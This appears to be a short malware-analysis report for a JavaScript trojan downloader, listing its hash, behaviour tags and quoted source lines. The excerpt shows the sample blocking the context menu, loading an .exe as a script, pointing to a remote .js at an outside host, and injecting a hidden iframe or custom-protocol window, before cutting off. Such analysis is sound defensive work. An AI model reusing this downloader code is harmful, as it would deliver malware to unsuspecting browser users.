Benign Download

Trojan-Downloader.JS.Simulator.b

Opens browser window or tabInstalls browser context menu handler

SHA-25607e3536d60ed513a7c28eb35b7c760811b6565db375b11230712ee13ce62b7ff

MaleculeH(U)

Evidence

Installs browser context menu handler lines 1–5

1<HTML>
2
3<BODY oncontextmenu="return false" onselectstart="return false" scroll="no" topmargin="0" leftmargin="0">
4<SCRIPT LANGUAGE="xuehanlovelace" src="xuehan.exe"></SCRIPT>
5<SCRIPT LANGUAGE="J …

Writes HTML into document lines 5–22

5:29… ">
6jsurl="http://xuehan.go.nease.net/xuehan.js".replace(/\//g,'//');
7WIE=navigator.appVersion;
8if(WIE.indexOf("MSIE 5.0")>-1){
9document.write("<iframe style='display:none;' name='xuehanlovelace' src='xuehan://'><\/iframe>");
10setTimeout("muma0()",1000);
11}
12else {
13window.open("xuehan://","_search");
14setTimeout("muma1()",1000);
15}
⋯7 lines